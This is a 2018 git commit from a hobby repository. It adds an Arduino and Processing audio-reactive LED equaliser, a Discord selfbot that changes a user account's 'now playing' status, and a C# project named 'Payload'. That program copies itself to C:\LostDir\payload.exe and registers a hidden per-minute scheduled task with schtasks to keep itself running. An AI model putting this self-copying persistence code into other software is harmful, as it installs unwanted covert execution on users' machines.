Made arduino EQ and made a discord selfbot

This commit is contained in:
plane000
2018-06-07 22:07:19 +01:00
parent 41e3824033
commit c683c88a73
12 changed files with 551 additions and 0 deletions

View File

@@ -0,0 +1,25 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.27703.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Payload", "Payload\Payload.csproj", "{EDE05CBF-E0C8-4239-9B52-4B88C1DDC646}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EDE05CBF-E0C8-4239-9B52-4B88C1DDC646}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EDE05CBF-E0C8-4239-9B52-4B88C1DDC646}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EDE05CBF-E0C8-4239-9B52-4B88C1DDC646}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EDE05CBF-E0C8-4239-9B52-4B88C1DDC646}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {F4B12610-5575-4450-8B5E-983B8F501894}
EndGlobalSection
EndGlobal

View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
</startup>
</configuration>

View File

@@ -0,0 +1,83 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{EDE05CBF-E0C8-4239-9B52-4B88C1DDC646}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>Payload</RootNamespace>
<AssemblyName>Payload</AssemblyName>
<TargetFrameworkVersion>v4.6.1</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<IsWebBootstrapper>false</IsWebBootstrapper>
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup>
<StartupObject />
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Config.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include=".NETFramework,Version=v4.6.1">
<Visible>False</Visible>
<ProductName>Microsoft .NET Framework 4.6.1 %28x86 and x64%29</ProductName>
<Install>true</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@@ -0,0 +1,82 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.IO;
using System.Diagnostics;
namespace Payload {
class Program {
static void Main(string[] args) {
Init start = new Init();
start.CheckIfAlreadyRunning();
start.Initialize();
start.SchTasksEnable();
while (true) {
Thread.Sleep(100);
}
}
}
class Init {
public void CheckIfAlreadyRunning() {
int count = 0;
foreach (var process in Process.GetProcesses()) {
try {
if (process.MainModule.FileVersionInfo.FileDescription == "Process") {
count++;
}
if (count >= 2) {
Environment.Exit(0);
}
} catch { }
Console.WriteLine("1");
}
}
public void Initialize() {
try {
Console.WriteLine("2");
if (Config.InstallPath == System.Reflection.Assembly.GetEntryAssembly().Location) {
return;
}
Console.WriteLine("3");
if (!Directory.Exists(Config.InstallFolder)) {
Directory.CreateDirectory(Config.InstallFolder);
}
Console.WriteLine("4");
try {
File.Copy(System.Reflection.Assembly.GetEntryAssembly().Location, Config.InstallPath, true);
} catch { }
Console.WriteLine("5");
Process.Start(Config.InstallPath);
Console.WriteLine("6");
Environment.Exit(0);
Console.WriteLine("7");
} catch (Exception e) {
Console.WriteLine(e);
}
}
public void SchTasksEnable() {
Process tsch = new Process();
tsch.StartInfo.FileName = "schtasks.exe";
tsch.StartInfo.Arguments = "-Create -tn f32 -sc MINUTE -tr " + Config.InstallPath + " -F";
tsch.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
tsch.Start();
while (!tsch.HasExited) ;
}
}
}

View File

@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Payload")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Payload")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("ede05cbf-e0c8-4239-9b52-4b88c1ddc646")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@@ -0,0 +1,12 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Payload {
class Config {
public static string InstallFolder { get; set; } = "C:\\LostDir";
public static string InstallPath { get; set; } = InstallFolder + "\\payload.exe";
}
}

View File

@@ -0,0 +1,42 @@
void setup(){
for (int i = 3; i <= 13; i++) {
pinMode(i, OUTPUT);
}
for (int i = 3; i <= 13; i++) {
digitalWrite(i, HIGH);
delay(100);
}
Serial.begin(9600);
while (!Serial) {
;
}
for (int i = 0; i < 4; i++) {
delay(100);
allOn();
delay(100);
allOff();
}
}
void loop(){
while (Serial.available() > 0) {
int numOfLights = Serial.parseInt() + 3;
allOff();
for (int i = 0; i < numOfLights; i++) {
digitalWrite(i, HIGH);
}
}
}
void allOff() {
for (int i = 3; i <= 13; i++) {
digitalWrite(i, LOW);
}
}
void allOn() {
for (int i = 3; i <= 13; i++) {
digitalWrite(i, HIGH);
}
}

View File

@@ -0,0 +1,32 @@
import processing.serial.*;
import processing.sound.*;
AudioIn input;
Amplitude analyzer;
Serial port;
void setup() {
size(200, 200);
port = new Serial(this, "COM3", 9600);
input = new AudioIn(this, 0);
input.start();
analyzer = new Amplitude(this);
analyzer.input(input);
}
void draw() {
float vol = analyzer.analyze();
float normal = 10+vol*200;
int out = int(map(normal, 0, 60, 0, 11));
if (port.available() > 0) {
String s = port.readString();
println(s);
}
port.write(Integer.toString(out));
port.write(" ");
}

47
NodeJS/SelfBot/index.js Normal file
View File

@@ -0,0 +1,47 @@
const Discord = require('discord.js');
const fs = require('fs');
let config = { }
const client = new Discord.Client( {
autoReconnect: true,
});
function createConfig() {
config = {
Token: 'DISCORD TOKEN',
NowPlaying: 'NOW PLAYING'
};
}
function load() {
config = JSON.parse(fs.readFileSync('config.json'));
}
function save() {
fs.writeFileSync('config.json', JSON.stringify(config, null, 4));
}
if (!fs.existsSync('config.json')) {
createConfig();
save();
console.log('Exiting... Add your token to the config.json file');
process.exit();
}
load();
client.login(config.Token);
client.on('ready', () => {
console.log('SELFBOT HAS LOGGED IN...');
});
client.on('message', async (message) => {
client.user.setActivity(config.NowPlaying);
if(message.content.startsWith('@!')) {
let msg = message.content.substring(3);
config.NowPlaying = msg;
save();
client.user.setActivity(config.NowPlaying);
console.log(message.content);
}
});

170
NodeJS/SelfBot/package-lock.json generated Normal file
View File

@@ -0,0 +1,170 @@
{
"name": "selfbot",
"version": "1.0.0",
"lockfileVersion": 1,
"requires": true,
"dependencies": {
"async-limiter": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz",
"integrity": "sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg=="
},
"balanced-match": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz",
"integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c="
},
"brace-expansion": {
"version": "1.1.11",
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
"integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
"requires": {
"balanced-match": "1.0.0",
"concat-map": "0.0.1"
}
},
"concat-map": {
"version": "0.0.1",
"resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
"integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
},
"describe": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/describe/-/describe-1.2.0.tgz",
"integrity": "sha1-O0LvptyhqiRF720VwZhU3lg3EcA=",
"requires": {
"string-color": "0.8.0"
}
},
"discord": {
"version": "0.8.2",
"resolved": "https://registry.npmjs.org/discord/-/discord-0.8.2.tgz",
"integrity": "sha1-jLPr+fLpBZRVTQw3NMma+Huwt3A=",
"requires": {
"describe": "1.2.0",
"glob": "7.1.2",
"mootools": "1.5.2",
"string-color": "0.8.0"
}
},
"discord.js": {
"version": "11.3.2",
"resolved": "https://registry.npmjs.org/discord.js/-/discord.js-11.3.2.tgz",
"integrity": "sha512-Abw9CTMX3Jb47IeRffqx2VNSnXl/OsTdQzhvbw/JnqCyqc2imAocc7pX2HoRmgKd8CgSqsjBFBneusz/E16e6A==",
"requires": {
"long": "4.0.0",
"prism-media": "0.0.2",
"snekfetch": "3.6.4",
"tweetnacl": "1.0.0",
"ws": "4.1.0"
}
},
"fs": {
"version": "0.0.1-security",
"resolved": "https://registry.npmjs.org/fs/-/fs-0.0.1-security.tgz",
"integrity": "sha1-invTcYa23d84E/I4WLV+yq9eQdQ="
},
"fs.realpath": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
"integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
},
"glob": {
"version": "7.1.2",
"resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz",
"integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==",
"requires": {
"fs.realpath": "1.0.0",
"inflight": "1.0.6",
"inherits": "2.0.3",
"minimatch": "3.0.4",
"once": "1.4.0",
"path-is-absolute": "1.0.1"
}
},
"inflight": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
"integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
"requires": {
"once": "1.4.0",
"wrappy": "1.0.2"
}
},
"inherits": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
"integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
},
"long": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz",
"integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA=="
},
"minimatch": {
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
"integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
"requires": {
"brace-expansion": "1.1.11"
}
},
"mootools": {
"version": "1.5.2",
"resolved": "https://registry.npmjs.org/mootools/-/mootools-1.5.2.tgz",
"integrity": "sha1-H93xtOCp5l0g1IO5tLCOHoexFho="
},
"once": {
"version": "1.4.0",
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
"integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
"requires": {
"wrappy": "1.0.2"
}
},
"path-is-absolute": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
"integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
},
"prism-media": {
"version": "0.0.2",
"resolved": "https://registry.npmjs.org/prism-media/-/prism-media-0.0.2.tgz",
"integrity": "sha512-L6yc8P5NVG35ivzvfI7bcTYzqFV+K8gTfX9YaJbmIFfMXTs71RMnAupvTQPTCteGsiOy9QcNLkQyWjAafY/hCQ=="
},
"safe-buffer": {
"version": "5.1.2",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
},
"snekfetch": {
"version": "3.6.4",
"resolved": "https://registry.npmjs.org/snekfetch/-/snekfetch-3.6.4.tgz",
"integrity": "sha512-NjxjITIj04Ffqid5lqr7XdgwM7X61c/Dns073Ly170bPQHLm6jkmelye/eglS++1nfTWktpP6Y2bFXjdPlQqdw=="
},
"string-color": {
"version": "0.8.0",
"resolved": "https://registry.npmjs.org/string-color/-/string-color-0.8.0.tgz",
"integrity": "sha1-HmdMgpXOKd3Zd4tuTLOqXnVEhAM="
},
"tweetnacl": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.0.tgz",
"integrity": "sha1-cT2LgY2kIGh0C/aDhtBHnmb8ins="
},
"wrappy": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
"integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
},
"ws": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/ws/-/ws-4.1.0.tgz",
"integrity": "sha512-ZGh/8kF9rrRNffkLFV4AzhvooEclrOH0xaugmqGsIfFgOE/pIz4fMc4Ef+5HSQqTEug2S9JZIWDR47duDSLfaA==",
"requires": {
"async-limiter": "1.0.0",
"safe-buffer": "5.1.2"
}
}
}
}

View File

@@ -0,0 +1,16 @@
{
"name": "selfbot",
"version": "1.0.0",
"description": "A script to automatically change your discoed now playing",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Ben (plane000)",
"license": "MIT",
"dependencies": {
"discord": "^0.8.2",
"discord.js": "^11.3.2",
"fs": "0.0.1-security"
}
}